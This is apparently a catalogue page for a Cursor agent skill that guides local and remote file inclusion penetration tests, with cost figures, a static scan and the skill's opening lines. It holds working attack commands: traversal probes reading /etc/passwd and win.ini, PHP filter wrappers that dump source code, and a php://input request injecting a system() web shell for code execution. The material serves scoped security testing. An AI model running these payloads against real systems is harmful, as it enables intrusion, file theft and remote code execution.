A guide to testing whether a web application can be tricked into loading files it should not expose. Local file inclusion reads files on the server, while remote file inclusion loads files from another location.

Use it to test filename parameters such as page, file, or path, check Linux and Windows file access, and assess escalation paths in PHP applications.

It helps distinguish file inclusion from related path-traversal bugs and provides a process for confirming the issue with request and response evidence.

How Suzu-Testing/metasploit-cursor-harness configures Cursor

Reuse

Borrowing it

Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.

Copy the file

curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/lfi-pentest/SKILL.md

Clone the repo

git clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harness

Made for: Cursor.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/lfi-pentest.svg)](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/lfi-pentest)

Your own site

<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/lfi-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/lfi-pentest.svg" alt="Measured on agentmods" height="20"></a>

Per session 50 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,899 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00050	$0.01899
Opus 5	$0.00025	$0.00949
Sonnet 5	$0.00010	$0.00380
Haiku 4.5	$0.00005	$0.00190

Measured 8d ago against content hash 8b01d7c813ff, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

lfi-pentest scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -X POST "http://<target>/page?file=php://input&cmd=id" -d "<?php system(\$_GET['cmd']); ?>"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s "http://<target>/page?file=../../../etc/passwd"

.cursor/skills/lfi-pentest/SKILL.md · 216 lines

How it starts

The opening of the file, as written. The whole thing — 216 lines — stays where its author put it; the contents beside it link to each section on GitHub.

File Inclusion Pentest

Prerequisites

Target is in scope (scope/scope-master.txt, engagement ROE).
Load web-app-pentest for overall web testing context.

Triggers

Parameters: page, file, include, path, template, document, folder
Responses referencing local paths, PHP warnings, or "failed to open stream"
../ or encoded traversal sequences alter page content or cause errors
PHP application with dynamic includes or legacy CMS path parameters
Remote URL accepted in include parameters (RFI indicators)
Log files, /proc/self/environ, or session files reachable via path manipulation

Workflow

Task Progress:
- [ ] Identify inclusion parameters and target OS (Linux/Windows)
- [ ] Test with low-impact probes (../../../etc/passwd, ..\\..\\windows\\win.ini)
- [ ] Confirm LFI vs directory traversal vs RFI
- [ ] Apply encoding/null-byte/path truncation bypasses when blocked
- [ ] Escalate via PHP wrappers, log poisoning, or LFI-to-RCE chains
- [ ] Document with request/response evidence and file content proof

Detection

Linux traversal

CLI (primary for web vulns):

ffuf -u "http://<target>/page?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
dotdotpwn -m http -h <target> -x 80 -f /etc/passwd -k "root:"
curl -s "http://<target>/page?file=../../../etc/passwd"

Payloads: ....//....//etc/passwd, ..%2f..%2fetc/passwd, /proc/self/environ

MSF MCP: No direct module. Use msf_search_modules(query="lfi") or msf_search_modules(query="directory traversal").

Windows traversal

CLI (primary):

curl -s "http://<target>/page?file=..\\..\\..\\windows\\win.ini"
curl -s "http://<target>/page?file=C:\\windows\\win.ini"

MSF MCP: No direct module.

Exploitation by variant

PHP filter wrapper (source read)

CLI (primary):

curl -s "http://<target>/page?file=php://filter/convert.base64-encode/resource=index.php"
curl -s "http://<target>/page?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"

Read the full file on GitHub · 216 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

8d ago First seen · 216 lines · 50 tokens per session scan A 8b01d7c813ff

Subscribe to this mod's changes

lfi-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 14d ago), licensed MIT. It adds 50 tokens to every session and 1,899 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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metasploit-cursor-harness: Skill for Cursor